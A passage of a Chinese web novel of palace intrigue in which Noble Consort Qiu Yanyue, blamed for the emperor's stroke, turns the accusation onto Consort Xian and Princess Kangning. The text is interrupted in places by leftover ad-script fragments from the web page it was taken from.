"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女子身上有一股淡然的气质,这种气质在后宫中实属罕见。 这是秋宴越进宫三年来,头一回这么近距离的打量这位素有贤名的贤妃娘娘。 秋宴越与贤妃不熟,贤妃进宫即巅峰,而秋宴越初入宫的时候连品级都没有,得了帝皇恩宠,才被封为五品才人。区区才人,连见贤妃的资格都没有。 后来她分位越来越高,自她独宠之后,贤妃在宫中却是越发的低调了,不参与宫廷宴会,不争宠,深居简出,如隐士般与世无争,回顾三年,秋宴越还真没怎么见过贤妃。 若不是昨夜那盅人参海龙汤,秋宴越还真当这位贤妃与世无争呢。 “贤妃,本宫乃是陛下亲封的贵妃,你应当尊称我一声秋贵妃才是。” 秋宴越缓缓站起,她本就身量高挑,衣着虽然素雅,但比起贤妃那一身装素依旧占据上风,此时她立于台阶之上,居高临下更添威严。这让贤妃不由自主地后退了一步。 贤妃虽心有不甘,却也迅速调整了自己的情绪,她正声道:“这宫中,可不仅仅是位份那么简单。陛下龙体安康,乃是国家之根本,而今陛下在秋贵妃宫中龙体抱恙,此事非同小可,本宫岂能坐视不理?” “哦?那依贤妃之见,要如何?”秋宴越伸出手,身侧的林德有极有眼色的上前扶住她的手。 秋宴越在林德有的搀扶下,缓缓地从高高的台阶上走下,随着她逐渐靠近贤妃,空气中似乎都弥漫起了一种微妙而紧张的气息。 “陛下在你宫中龙体抱恙,此事非同小可,定是你媚主,扰乱了宫廷的安宁,秋氏你还不自觉脱去你的贵妃服制,交出凤印,前去太庙反省,等待陛下发落。” 此话一出,四下哗然。 秋宴越并未因贤妃的话语而动摇分毫,她冷笑一声:“本宫贵为贵妃,同时执掌凤印,管理后宫大小事务,岂是区区分位所能衡量?陛下在本宫宫中龙体抱恙,自有御医诊治,岂能轻易归咎于本宫?” 她边说边将手中那枚四方玉印高高举起,那玉印在寝宫内的烛火照耀下熠熠生辉:“凤印在手,本宫便是后宫之主,一切事务皆需经过本宫之手。贤妃,你我虽同为四妃之一,但本宫身为贵妃,按照规制,乃是四妃之首,你区区一个贤妃,又怎敢越俎代庖,来处置本宫?” 贤妃闻言,脸色微变。 此时,怜月宫中气氛紧张,空气中弥漫着一种剑拔弩张的气息。 “秋氏,你说贤妃没有资格处置你,那本宫呢?本宫可有资格?” 14. 第 14 章 “秋氏,你自恃贵妃之位,便以为可以肆意妄为,无视后宫的规矩了吗?”来人的声音冷冽而威严:“贤妃虽位在你之下,但她所言非虚,后宫之中,人人皆需遵守祖制。你身为贵妃,更应以身作则,而非仗势欺人。” 秋宴越看着来人,眼前的女子看着有些年纪,岁月不可避免的在她脸上留下些许痕迹,鬓角已生白发,但是不可否认的是,她依旧是个美人,身着一袭繁琐而华贵的公主礼服,那礼服以细腻的织锦为底,镶嵌着璀璨的宝石与流光溢彩的珍珠,看上去雍容华贵至极。 “本宫当是谁呢,这般风华绝代,原来是久未露面的康宁公主啊。” 还不等康宁得意,秋宴越便再次开口:“去年冬至宫宴,公主你受陛下厌弃,陛下勒令你在你的公主府思过,无昭不得入宫,看来康宁公主这是将陛下的旨意忘了个干净。” 康宁公主是建平帝的异母妹妹,骄纵嚣张。去年冬至的宫宴,康宁公主因一时冲动,触怒了龙颜,陛下震怒之下,勒令她在公主府内闭门思过,无昭不得入宫。 “本宫乃是陛下亲妹,如今皇兄被你这毒妇所害,身为大赵公主,本宫自然是要亲自进宫替皇兄处置了你这毒妇。” 此言一出,大殿内顿时一片哗然。 被人接二连三的说要处置,秋宴越也丝毫不见恼怒: “康宁公主慎言,世人皆知本宫同陛下那是伉俪情深,又怎么会谋害陛下呢?公主无诏入宫,又擅闯本宫的怜月宫,现在更是不问陛下染疾的缘由,不由分说便要处置本宫这个陛下亲封的贵妃。莫说公主只是陛下的妹妹,就算是陛下的长辈,也断然没有不查明真相就随意处置本宫的权力。” 秋宴越绕过贤妃,径直朝着康宁走去。 “康宁公主,论品级,本宫身为贵妃,按照大赵的规制,乃是从一品,而你康宁,你非嫡公主,也非长公主,按制,只是二品。” “轮身份,本宫乃是陛下亲封的贵妃,承蒙陛下看重,特令本宫执掌凤印,管理后宫事务,如此算来本宫也算是公主半个嫂子。” “康宁对本宫缺乏应有的敬意,无视尊卑规矩。” “陛下中风非本宫之过,就算本宫真的有罪,自然有宗室长者来代为处置本宫,哪里轮得到康宁你在本宫的寝宫里指手画脚?” “知道的当你康宁是真的忧心陛下,所以才对本宫出言不逊,不知道的还以为你康宁想趁着陛下染疾,打算谋权篡位呢。” 秋宴越微微抬高下巴,神情不屑。 “此言差矣,康宁公主也是忧心陛下,陛下龙体一向康健,怎么会突然就中风呢? “本宫久居贤仪宫甚少外出,但是也曾听闻贵妃你索求无度,这才使得陛下龙体欠安,如今,陛下在你的宫中中了风,如今还是昏迷不醒的状态,国不可一日无君,陛下的中风原因也必须要查的明白,既然秋氏觉得本宫和康宁有私心,那本宫和公主便请了宗亲来判断。” “宗亲?”秋宴越闻言脸上浮现出惊讶。 “不错,秋氏。”康宁的声音带着几分挑衅与得意:“口舌之利是保不住你的,你可知道,荣皇叔即将进宫。” 见贤妃帮自己说话,康宁也硬气了起来。 荣亲王是宗室亲王,辈分还大,就算是建平帝见了荣亲王都要礼让三分。 而且荣亲王一向以刚正不阿、眼里揉不得沙子而著称,看到康宁眼中的得意,秋宴越就知道,接下来是一场狠仗了。 想到这里她语气不由弱了几分。“陛下不过昏迷一日,太医也说了陛下很快就会苏醒过来,你们这般,不怕陛下怪罪吗?” 见秋宴越气焰弱了,康宁嚣张的气焰一下子起来了:“秋氏啊秋氏,就算你品阶再高又如何?你且等着看吧,等荣亲王一到,自然会还这大赵一个公道。到时候,你可别哭鼻子求饶才好!” “哦?是吗?本宫只相信公道自在,就算是荣亲王亲至,也不能指鹿为马。”秋宴越瞥了贤妃和康宁一眼,也不辩解,只静静的等着荣亲王来到。 不多时,宫门外的侍从匆匆而来,说是荣亲王主动请求觐见太后。 荣亲王是宗伯府的宗伯,地位崇高,他请求觐见,太后也不能随意拒绝,这会,荣亲王和太后都已在长春殿内,静待着众人的到来。 荣亲王并非孤身前来,他的身后还跟随着几位同样是皇室中辈分极高、地位显赫的王爷们。 随着秋宴越、贤妃、康宁三人先后步入长春殿,殿内的气氛瞬间变得凝重而庄严。 太后端坐于上首,荣亲王等王爷则恭敬地在下方坐着。 见秋宴越等人进入大殿,所有的视线都集中在了秋宴越身上。秋宴越看着眼前的场景,更像是三堂会审一般,每一双眼睛都在审视着她,想要对她进行审判。 “秋贵妃,今日荣亲王进宫,指名要见你。”太后的声音在殿内响起。 “荣亲王,这位便是秋贵妃,陛下便是在她宫中染上了那风疾。然而,此刻皇帝陛下中风在床,昏迷不醒,我等万事都应以皇帝龙体的康健为首要考量。” 语毕,太后转头看向贤妃和康宁公主,面露不悦之色:“贤妃,康宁,今日之事,实属宫廷机密,与你们二人并无直接关联,你等先行退下。” 然而,康宁公主却是倔强地站定:“母后,皇兄中风,此等大事,儿臣岂能袖手旁观?今日,荣皇叔及诸位叔伯皆在此,我们定要查个水落石出,还皇兄一个公道。”言罢,她还狠狠地瞪了秋宴越一眼 说完,康宁还狠狠的瞪了秋宴越一眼。 贤妃见状,亦是躬身福礼,言辞恳切:“太后娘娘,康宁公主所言极是。陛下身体素来康健,怎会突染风疾?此事非同小可,定要让诸位长辈查个清楚,以安天下之心。” 面对这两人的坚持,韦太后又不好明说缘由,一时语塞,而荣亲王则适时开口:“太后娘娘,康宁公主与贤妃娘娘皆是心系陛下,此情可悯。不妨就让她们在此旁听,或许还能有所助益。” 荣亲王开口了,太后再赶人就不妥当了,只能勉强点头,留下了这两人。 随后,荣亲王将目光转向了秋宴越:“贵妃娘娘,昨夜陛下可是在你宫中染上了风疾?此事非同小可,还望娘娘据实以告。” 秋宴越轻轻掖了掖鬓角的发丝,声音平稳而清晰:“不错,昨日陛下确实是在我宫中突染风疾,导致昏迷不醒。如今陛下仍在怜月宫中接受治疗,臣妾日夜忧心,只盼陛下早日康复。” “那么,陛下为何会突染风疾?贵妃娘娘是否曾做过不利于陛下龙体康健之事?”这话虽未直言指控,但其中的意味却已十分明显。 就差明说是秋宴越索求无度导致的了。 秋宴越不慌不忙:“荣亲王乃臣妾长辈,又素有贤名,我自然相信亲王会明察秋毫。陛下虽在怜月宫中突染风疾,但真正导致中风的原因却与我无关。昨夜太医已亲自为陛下诊断,并查阅了陛下的起居注,已经排除了我的原因。太后娘娘当时亦在场见证,可证实我所言句句属实。” 此言一出,殿内顿时议论纷纷,几位王爷面面相觑,显然对这突如其来的转折感到意外。 “贵妃娘娘此言差矣。”终于,一位王爷忍不住开口质疑:“陛下中风之事关乎国本,岂能仅凭你一面之词便草草了之?今日太后娘娘也在场,还请太后娘娘和贵妃娘娘明言,陛下中风之因究竟何在?” 秋宴越轻轻摇头,脸上满是为难之色:“臣妾并非有意隐瞒,只是此事涉及宫闱秘辛,不便在此详说。但臣妾可以告诉诸位的是,陛下中风确与另一位妃子有关。昨夜太医已根据陛下症状及起居注推断出大致原因,只是碍于种种原因,尚未公之于众。” 此言一出,殿内顿时一片哗然。所有人的目光都集中到了太后身上,期待她能给出个明确的答案。 贤妃也是脸色一白,显然是联想到了什么。 太后见状,心中不悦,虽知此事恐怕已无法再瞒下去,可还是艰难出声:“太医们确实做出了一些推断,但真实情况究竟如何,还需等皇帝清醒了才能确定。” 荣亲王闻言,不赞同道:“事关陛下龙体康健,怎可拖延?既然贵妃娘娘方才提到太医已诊断出原因,那便请太医进来一叙吧。” 不多时,刘旭与王太医便在宫人的引领下步入长春殿,两人皆是太医院的佼佼者,一位是太医院院使,一位是太医院同知,荣亲王也是听过这和两人的名声的,见来人是这两位,面色稍缓,开始仔细询问起建平帝的病情来。 得知荣亲王召太医院来长春殿的缘由,王太医和刘旭相视一眼,最后还是选择如实告知。 虽然太后极力想要庇护贤妃,使之免受指责,但那份起居注,字字清晰,句句确凿,揭示了皇帝中风的真相。太后虽能私下里动用手中的权力,尝试通过太医们的沉默来掩盖这桩宫廷秘辛,然而,昨夜那场惊天动地的变故怎可能轻易被掩埋在尘埃之下? 看着两位太医将事情的经过全盘拖出。 秋宴越低下头,嘴角勾起一抹意味深长的笑意。 她本以为,凭借太后的庇护, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贤妃的地位将稳如泰山,自己难以撼动分毫。然而,世事无常,太后的一时疏忽,未能及时将皇帝中风的真相告知贤妃,竟成了秋宴越反击的致命武器。 今日,贤妃兴师动众的来到怜月宫,秋宴越就知道她对建平帝为什么会中风是一无所知。 加上一个康宁公主,这两个一个冲动,一个心机深重,虽然有点脑子,但是实在不多。 他们今日找来了荣亲王本意是为了将自己彻底拿下,但是没想到她们少了最关键的信息,这才让秋宴越能反杀她们。 随着太医的言辞,贤妃的脸色越来越苍白,若非她身边的侍女搀扶着她,她几乎就要坐到地上去。 而站在她身侧的康宁公主也是一脸诧异的看着贤妃。 她万万没想到,看似什么都不在乎,不争不抢的贤妃,竟然还能做出这等争宠的事。 但她很快脸色一变,今日进宫是收到了贤妃的传讯,康宁是太后亲女,和贤妃也有点血缘关系,两人关系还不错,因此,收到了贤妃的传讯,让她带着荣亲王进宫,她想也不想就来了。 本以为可以借此扳倒秋宴越趁机拿下后宫大权,但没想到自己找来的荣亲王竟然成了刺向自己一方的利器。 这会秋宴越是安然无恙,但是自己和贤妃可就惨了。 果不其然,听完太医的诊断后,荣亲王及一众王爷们的面色,犹如乌云密布的天空,看着显现瘫倒在地上的贤妃脸上满是愤慨与失望。 “身为后妃,本应母仪天下,以贤惠为德,怎料却沉溺于那腌臜的争宠手段之中,实在是德不配位,令人痛心疾首。”一位王爷的声音在空旷的大殿内回荡,言语间充满了对贤妃行为的不满与讽刺。 后宫之中,封号非同小可,皆是对妃嫔品行才德的肯定与赞誉。贤妃之名,本寓意其贤良淑德,堪为后宫表率。然而,昨夜之事,却与“贤惠”二字相去甚远,难怪会引起王爷们的强烈不满与愤慨。 他的话语,如同锋利的刀刃,直刺贤妃那颗已经摇摇欲坠的心,此刻的贤妃已经是面色苍白如纸,她颤抖着声音辩解道:“那道汤只是食膳,陛下并未多用,此事,此事与本宫无关,还请太后娘娘明察啊。” “昨夜事发后,太医院连夜查证,发现贤妃娘娘你四日前在太医院取走了一支三十年的人参。这人参珍贵异常,若非特殊用途,怎会轻易动用?若是贤妃娘娘能拿出证据证明昨夜那盅人参海龙汤并非用的那一支三十年的人参,说不定还有点说服力。”秋宴越在旁边幸灾乐祸。 贤妃自然是拿不出来这证据,因为那支人参确实已被她用于制作了那道致命的汤品。 秋宴越早就将所有的记录都保存好了,宫人们很快将起居注和太医院的记录捧了进来,一一呈现在众人面前。 一众王爷一一查看过后,对贤妃的厌恶与愤怒更甚。 荣亲王作为宗伯府的宗伯,更是站了出来,对太后行了一礼后说道:“太后娘娘,陛下中风一事如今已经明朗,罪魁祸首便是李贤妃。我等宗亲虽然不便插手陛下后宫之事,但陛下如今中风卧床,皆因此女而起。太后娘娘作为后宫典范,理应对此女做出应有的惩戒。” 荣亲王是宗伯府的宗伯,如今皇帝中风,如果皇帝一直昏迷不醒,在没有继位诏书的情况下,荣亲王甚至可以左右继位者,此时荣亲王亲自开口向太后施压,太后有心想保贤妃,却也是力不从心。 “哀家,自然会秉公办事,只是皇帝如今还未苏醒,贤妃和皇帝也算是伉俪情深,就这么处置了他的妃子,怕也是不妥。”看着下方的贤妃,太后终究还是不舍。 荣亲王闻言,眼神中闪过一丝冷意。他深知太后是在为贤妃求情,但自己却不能就此罢休。于是,他沉声道:“既然如此,那就让贤妃前往太庙为陛下祈福吧。陛下一日不醒,贤妃一日不得回宫!” 此言一出,大殿内顿时一片寂静。贤妃闻言更是如遭雷击般愣在了原地。她知道这意味着什么——她将被软禁在太庙之中,与世隔绝直到皇帝苏醒的那一天。 “贤妃娘娘还不谢恩?要知道谋害陛下那可是死罪,可是要诛九族的。”秋宴越在一边凉飕飕的发言道。 这会太后也反应了过来,她已经保不住贤妃了。 此时的太后,面色凝重,眼中闪过一丝无奈与痛心,事关皇帝龙体康健,她深知再无回旋的余地,再不情愿此刻也只能下令:“贤妃犯下打错,为平息天怒人怨,即日起,她便需前往太庙,为皇帝诚心祈福,以赎其罪,来人,脱去贤妃的妃位服制,送去太庙!” 15. 第 15 章 当贤妃被无情地押下去时,康宁的脸色变得异常难看,她对着太后恭敬地行了一礼,声音中带着一丝颤抖:“母后,康宁先行告退。” 说罢,她转身便准备离开长春殿。 “慢着!”秋宴越的声音突然响起,打断了康宁的动作。 康宁的气焰一下子弱了下来,目光闪烁,原本嚣张清亮的声音也变得有些底气不足:“秋贵妃拦着本宫是为何?” 秋宴越看也不看康宁,只是缓缓地对着荣亲王一行人优雅地行了一礼。 “康宁公主去年被陛下责令禁足反省,可今日,她竟然无视陛下的命令,公然出现在了皇宫之中,在硬闯怜月宫后,她也不提去探视陛下,反而是一进门就对本宫发难,声称要将本宫处置,完全不把本宫这个陛下亲封的贵妃放在眼里。” 听着秋宴越的话,康宁的脸色变得更加难看。 秋宴越眼中亦浮现水光:“本宫虽然出身低微,但也是陛下亲封的贵妃,执掌凤印,这一年尽心尽责服侍陛下,处理后宫事务,,没有功劳也有苦劳,康宁公主面对本宫冷言冷语,不敬不逊。荣亲王你德高望重,康宁更是您的晚辈,如今陛下卧病在床,还需荣亲王您主持大局。” “秋宴越,你别太过分了。”康宁见秋宴越不依不饶,忍不住出言道。 荣亲王闻言,眉头微蹙,目光深沉地扫过上方的太后,然后转向康宁公主,语气中带着一丝责备道:“康宁公主,你身为公主,理应知礼守节,怎可如此无礼?秋贵妃是陛下亲封的贵妃,怎可直呼其名?” 康宁公主脸色一白,她知道荣亲王素来公正严明,此刻的责备无异是对秋宴越的支持,她咬了咬牙,心中虽有不甘,但也不得不低头认错。: “荣皇叔教训得是,康宁确实失礼了。” “康宁,你退下吧。”太后缓缓开口:“荣亲王所言不无道理,你身为公主,应当以身作则,此番你当回府静心思过,切不可再有失礼之举。” “太后娘娘此言差矣,去岁冬至,陛下就已经让康宁公主在她的府邸中静心思过,可康宁公主毫无思过之心,竟趁着陛下卧病在床,强闯皇宫,甚至闯进了陛下目前养病的怜月宫。康宁公主就算是心系陛下安危,也该是如荣亲王这便递了折子,请求觐见才是,毕竟,康宁公主乃是陛下亲妹,难不成宫里还能拦着公主不成,怎么就非要硬闯呢?” “莫不是,康宁公主有不臣之心?” 秋宴越可不愿意让康宁就这么轻松的回去,顶着太后难看的脸色,把话说得明明白白。 “秋宴越,你胡说八道什么!本宫怎么可能会有这等心思,而且,本宫也没有硬闯。”康宁忙辩解道。 “那你是怎么进宫的?你的进宫令牌早就被陛下收回,又没递进宫折子,你说没有硬闯,那就是你收买了禁军侍卫,让人偷放你进来的?” “本宫穿着先帝御赐吉服,谁敢拦?!”康宁挺了挺胸膛,引得在场诸人都将注意力移到了她的穿着上。 康宁这一身公主吉服有明显的北都特色,秋宴越之前便注意到这点了,但她并没有想到这是先帝御赐的。如今康宁自己开口说出这套吉服的来历,秋宴越也终于明白了为什么康宁能不被禁军侍卫们阻拦进入皇宫。 正常情况下硬闯皇宫,康宁就算是公主身份尊贵也是有可能被当场格杀的。 也就是皇帝昏迷不能主事,康宁又是太后亲女,穿着先帝御赐吉服,这等手持尚方宝剑,加上她孤身一人前来,连个侍女都没带,外头的禁军摸不清她的来意,不敢轻易阻拦,这才让她闯入了怜月宫。 “康宁,你竟穿着先帝御赐公主吉服硬闯皇宫?”荣亲王总算是反应过来了,他指着康宁愤怒道。 “康宁,你这是何等的放肆!先帝御赐的吉服,岂能随意穿戴?更不要说你竟然穿着先帝御赐的吉服硬闯皇宫!” 太后看着下方的康宁,脸上失望多过愤怒。 康宁是太后亲女,大赵重孝,建平帝生母已逝,尊原皇后为如今的太后,为了表达自己的孝心,建平帝特意赐给康宁一块入宫令牌,让她可以不经通传就进入皇宫,以满足太后思女之情。 虽然康宁的入宫令牌早在去年冬至的时候便被建平帝收回,康宁想要入宫就得像是荣亲王一样递折子觐见,但她若真有心想要进宫,只需要吱会一声,难不成太后还会不让她进宫?何至于被人抓住痛处。 还有贤妃,韦太后对贤妃也是一肚子怨气。 自己的女儿没脑子她这是知道的,就穿着先帝御赐吉服闯入宫中这事,一看就是背后有人教唆,至于是谁,也是一目了然。 今日明显就是贤妃觊觎秋宴越手中的凤印,想趁建平帝昏迷之际夺了秋宴越的后宫管理权。 可就算是要夺权,也得先打探清楚状况,还以为自己那外甥女是个聪明伶俐的,不成想也是一个蠢货,连皇帝为什么中风的原因都不知道,就这么贸然的跳出来。 如今韦太后也顾不得贤妃了,只想着能把康宁保下来。 想到这里,太后冷着一张脸怒斥道:“康宁,你还不回你的公主府反省,今日之事待皇帝病好了,哀家定会如实禀报皇帝,让他亲自处置你。” 秋宴越不由皱眉皇帝都昏迷不醒了,还等他处置,这太后明显就是又想保下康宁。 不等秋宴越反对,就听荣亲王开口:“康宁公主硬闯皇宫,若是如此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 轻拿轻放,旁人也有一学一,这不是没了规矩?” 康宁公主的脸色瞬间变得苍白,她知道这次自己无论如何都逃不了责罚了,她狠狠瞪了秋宴越一眼,腾一下跪下,低下头,声音微弱地说道:“母后,康宁知错了。但康宁真的只是一时心急,担心皇兄的病情,才做出如此鲁莽之事。请母后还有荣皇叔宽恕。” “康宁啊康宁,你虽是哀家亲女,但却做出如此大逆不道之事,若是饶了你,这大赵还有规矩可言吗?”韦太后一脸哀戚。 “来人,脱去康宁公主的公主吉服,压入宗伯府,等候发落!” “放开本宫!母后儿臣知错了,儿臣不去宗伯府,母后您就饶了儿臣这一回吧!”见宫人真的上来扒自己的衣服,康宁也不知道哪来的力气,一把甩开宫人,冲到太后面前,抓住太后的裙摆苦苦哀求。 “太后娘娘,康宁公主虽然有错,但也是关心则乱,关押宗伯府责罚太重,还请太后娘娘从轻发落。” 对于皇室而言,压入宗伯府是十分重的惩罚了,就算康宁是公主,身份尊贵,可到了宗伯府少不了吃些苦头。 康宁是自己亲侄女,荣亲王终究还是不忍,开口求情道。 太后沉默片刻,最终叹了口气:“康宁,你虽然事出有因,但也不能无视宫规。今日之事,你便也去太庙为陛下祈福两个月吧。” 太后也没辙,荣亲王一行就在大殿里,真不做责罚恐怕这些宗室王爷爷不会同意,思来想去,也就只能让康宁一起去太庙祈福。 两个月,不算太长也不算太短,就算皇帝突然醒过来要追责康宁,也能说得过去。 康宁公主闻言,忙点头如捣蒜:“康宁谨遵母后教诲,定会深刻反省,不再让母后失望。” 去太庙可比去宗伯府好多了,押入宗伯府,那自己和坐牢有什么区别? 秋宴越微微叹气知道这已经是极限了。 ”太后娘娘圣明。”荣亲王一行也是赞同。 “康宁,你这便收拾一下,近日便去太庙为你皇兄祈福。” 贤妃是直接被压着去了太庙,对于自己这个唯一的女儿太后可不舍得,也给了康宁收拾东西的时间。 要知道马上就要入冬,太庙那边的条件艰苦,太后哪里舍得康宁吃苦。 “至于秋贵妃......” 韦太后看向秋宴越,眼里是不加掩饰的厌恶。 这一日间折了外甥女又折了女儿,太后恨不得也将秋宴越押入太庙和自己的女儿外甥女作伴。 只可惜,实在没有抓到秋宴越的错处。 “秋贵妃便好好在怜月宫侍奉皇帝,若是不尽心尽责,哀家决不轻饶了你!” 16. 第 16 章 皇帝中风一事已经是瞒不住了,消息如野火燎原,不仅太后、贤妃、康宁公主乃至宗室皆已洞悉,说不定幽禁坤宁宫的皇后和圈禁的废太子以及远离京城、就藩的藩王们,也可能会通过各种隐秘途径得知这一消息。 “传本宫口谕,陛下龙体违和,即刻遍发皇榜于四海,广邀天下杏林圣手,凡能妙手回春,使陛下康复如初者,本宫定当重重有赏,绝不吝啬!” 想到那夜刘旭说的,皇帝醒来的可能性很低,就算是侥幸苏醒,他的身体也会大不如前,寿命也会受到影响。 秋宴越的手无意识的抚上了自己的小腹,心中泛起涟漪:“丹红,陛下三日前宠幸了本宫,你说本宫这腹中有没有可能已经有龙嗣了?” “娘娘,您若真有喜,那可是天大的喜事啊,不然我们请个平安脉?”丹红激动地说道。秋宴越轻轻摇了摇头:“陛下如今昏迷不醒,太医院上下皆需全力救治陛下,本宫这边都是些小事,便不必请脉了。” “对了,丹红,本宫记得,你兄长在宫外一间药铺做工?” “娘娘记性真好,奴婢的哥哥在南陵街口的药店里做抓药的活计,一年下来也能攒下十来两银子呢,哥哥说了,他和嫂子再赚几年,就能在南都买个一进的院子,到时候,就能把爹娘都接过来。” 提及家人,丹红眉梢的喜悦如同春日里绽放的花朵,脸上也洋溢起温馨与幸福。 “瞧你这丫头,怕是思乡心切了。你年纪不小了,也该成亲了,有没有中意的少年郎啊?”秋宴越掩唇逗趣道。 “娘娘,别取笑奴婢了,宫女需年满二十五方可离宫,奴婢还得在宫中再待七年呢。”言罢,丹红脸上不禁浮现出一抹愁绪。 宫女的命运多是身不由己,一入宫门深似海,虽然自家娘娘对自己很好,但是少了家人的陪伴,丹红还是感到一丝丝的寂寞和无奈。 秋宴越平日经常听到丹红提起家人,从她的言语中,她的父母兄长对她都很好,若不是那年大旱,家里颗粒无收,丹红家里也绝计是舍不得送她入宫的。 后面家里缓过来了,她父母还经常托人给她带些家乡的特产。就连她的哥哥也因为思念妹妹而背井离乡来了南都讨生活。 秋宴越温声宽慰:“丹红,你不必太过忧心,宫中虽有规矩,但也不是没有例外,若真有良缘,本宫自会为你做主。” 丹红闻言,眼中闪过一丝惊喜,连忙跪下谢恩:“娘娘大恩,奴婢无以为报。” 虽然丹红聪慧好用,但秋宴越并不愿意挟恩图报,将她永远束缚在自己身边。 “地上凉,老跪着做什么,快起来。”秋宴越忙将丹红扶起。 “南陵街口,那可是南都的繁华之地,你兄长能在南陵街口的药铺立足,定有过人之处。不知他抓药的技艺如何?” 丹红自豪地回答:“我哥哥勤勉好学,已在药铺工作七年有余,从杂役做起,如今已是抓药的好手,药铺掌柜都对他赞不绝口,他那抓药本事自然是一等一的。” “丹红你是一等一的伶俐,你哥哥自然也是不遑多让,本宫这里正好有件事,需劳烦你兄长相助。” 丹红立刻领会,坚定表态:“娘娘对奴婢有大恩,娘娘如今有所需,奴婢定让兄长全力以赴,不负娘娘所托。” “本宫这里有一张药方,你需亲自出宫交予你兄长,让你兄长按照这药方抓好药,这药需三日送一次,这药材务必精选上乘,银两之事,无需顾虑。” “娘娘放心,丹红定不负娘娘所托,亲力亲为,确保无误。” 言罢,秋宴越自袖中取出一张精心折叠的纸条,郑重交予丹红手中。 “此药方至关重要,你需亲手交予你兄长,他需亲自抓药,万不可假手于人。” “还有这药方除了你我,还有你哥哥,谁都不能看,你哥哥记下药方后,便得将之毁去,明白吗。” 丹红恭敬地双手接过那张轻薄的纸条,小心翼翼地贴身藏匿于衣襟之内:“娘娘放心,奴婢定会将此事办得滴水不漏。” “甚好,你即刻持出宫令牌出宫去吧,路上务必谨慎行事。”秋宴越叮嘱道。 目送丹红离去后,寝宫内复归宁静,唯余她一人身影。 秋宴越偏爱静谧,若非建平帝亲临怜月宫,她多半独处于寝宫中,仅留丹红近身侍奉,其余 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人等皆不得擅入。 因而丹红离开后,整个寝宫也没有新的宫人敢擅自进入。 她缓缓步至妆奁前,从其最隐秘的角落取出一枚有些岁月痕迹的长命锁。 取了一支尖尖的簪子,顺着长命锁的边缘使劲一撬,只听细微声响,长命锁应声而开,一分为二。 而长命锁中间并不是中空的,一枚被蜡层精心封存的药丸,就藏在这长命锁中。 这是秋宴越的母亲早年机缘巧合得到的奇药,有助人绵延子嗣之奇效。 服用后能让女子更容易怀上孩子。 这药艳娘本来是打算自己服用的,但是还不等她用,便怀上了秋宴越,这药丸便这么留了下来。 临终前,艳娘将这药丸给了秋宴越。 这世道对女子多有苛刻,秋宴越迟早是要家人的,艳娘只想着若是这药丸能助秋宴越能顺利诞下夫君的子嗣,有了子嗣傍身,婚后的日子总归会轻松不少。 入宫的时候,秋宴越将这药藏在长命锁里,顺利的带了进来。 入宫第一年,秋宴越因地位未稳,加上她是因舞而获宠的,身段轻盈乃其立身之本,若是怀孕,自然会影响身姿。 故而未曾服用此药。 令人费解的是,除了第一年外,之后的两年,秋宴越的位份越来越高,在后宫中也逐渐站稳了跟脚,已经有了诞下龙嗣的外部条件,但是秋宴越的肚子却迟迟没有动静。 今日取出这枚药,也是存了怀个孩子保全自己的心思。 可药取出来后,秋宴越却开始犹豫。 这药她只有一颗,艳娘曾告诉过自己,若是男子体魄不够强健,就算是服用了这药,也可能无法怀上孩子。 眼下,建平帝昏迷不醒,她也不能保证,建平帝能顺利完成她想要做的事。 而且她这两年来并未避孕,却始终不曾怀孕。 整个皇宫里,最小的皇嗣便是八公主赵玲珑,但是八公主今年也八岁了,也就是说,整个皇宫已长达八年未有新生儿诞生。 这正常吗?太不正常了。 秋宴越心中暗自揣测,可能是老皇帝已经不能生了。 17. 第 17 章 入夜 吴嶒是禁军六大指挥使之一,今日轮到他当值,巡夜一圈回来统领所,却见一人背对着自己负手而立。 “商统领?今夜怎有闲暇莅临?莫非有何要事?”吴嶒恭敬中带着几分不解的问道。 商佑庭官拜大将军,但他同时又是三万禁军统领,夜色已深,这都已经放衙了,自家统领却突然出现,不由让吴嶒心生诧异。 要知道商佑庭平时例行点卯都不来,一年到头,他来禁军这边的次数屈指可数,今夜突然出现,实在奇怪。 “今日值夜是怎么安排的?” “可巡视过了?” 商佑庭并未直接回应,而是沉声询问起今夜的值守安排与巡夜情况。 心里再奇怪,商佑庭也是禁军正儿八经的统领,他的问题吴嶒便一一详尽回答了。 “至于怜月宫一带,本统领将亲自率队巡查,后续轮值可免。” 吴嶒正说到怜月宫一带的安排,才起个头,商佑庭就宣布接手了。 “啊?这......”吴嶒不禁愣住,心中暗自嘀咕。 这不符合规矩啊。 这要是出了什么差池,自己脑袋要搬家。 本想委婉拒绝,但话到嘴边,吴嶒突然想到今日白天发生的事,他恍然大悟,若是因为陛下一事前来禁军统领所也是正常。 皇帝突然风疾,这等大事,禁军必然是要全军戒备,护卫皇宫安全。 而陛下如今就躺在怜月宫里,商统领定是为了陛下的安危,所以决定亲自巡视怜月宫范围,亲力亲为,彰显其忠君爱国之心,不愧为大赵军神,做事就是周全。 “行了,没什么事你就退下吧。”商佑庭挥了挥手,示意吴嶒离开。 吴嶒正准备遵命离去,却又想到了什么,又转过身来欲语还休。 “还站在这里做什么?”见吴嶒站着没动,似乎还欲言又止的样子,商佑庭脸上闪过一丝不耐,催促道:“有话直说,莫要学那女儿家般扭扭捏捏的姿态。” “这,康宁公主今晨进宫了,我等未能拦下她。”吴嶒面色微郝。 “康宁公主不是正被陛下责令于府邸静思己过吗?你等可是禁军精锐,康宁公主不过一年迈女子,她如何能突破重重守卫,闯入皇宫?”商佑庭对康宁公主的行经也是有所耳闻,是个嚣张拨扈的,但张狂,也不至于你硬入皇宫。 “公主身着先皇御赐之瑞服,气势汹汹,强闯宫门,我们哪里敢拦她,本想拖延片刻,然上报之后,却迟迟未得指示,终是让她步步逼近,直至深入宫闱。”吴嶒忙解释。 “她进宫后,具体去哪里了?”商佑庭问道。 “去了怜月宫。” 商佑庭闻言眼神暗了暗。 吴嶒继续说下去:“公主闯入怜月宫后,我们也跟着进去了,这才知道陛下昨夜突染风疾,如今就在贵妃娘娘宫中养病。” “想来康宁公主这般急切的进宫,便是来探望陛下的。” 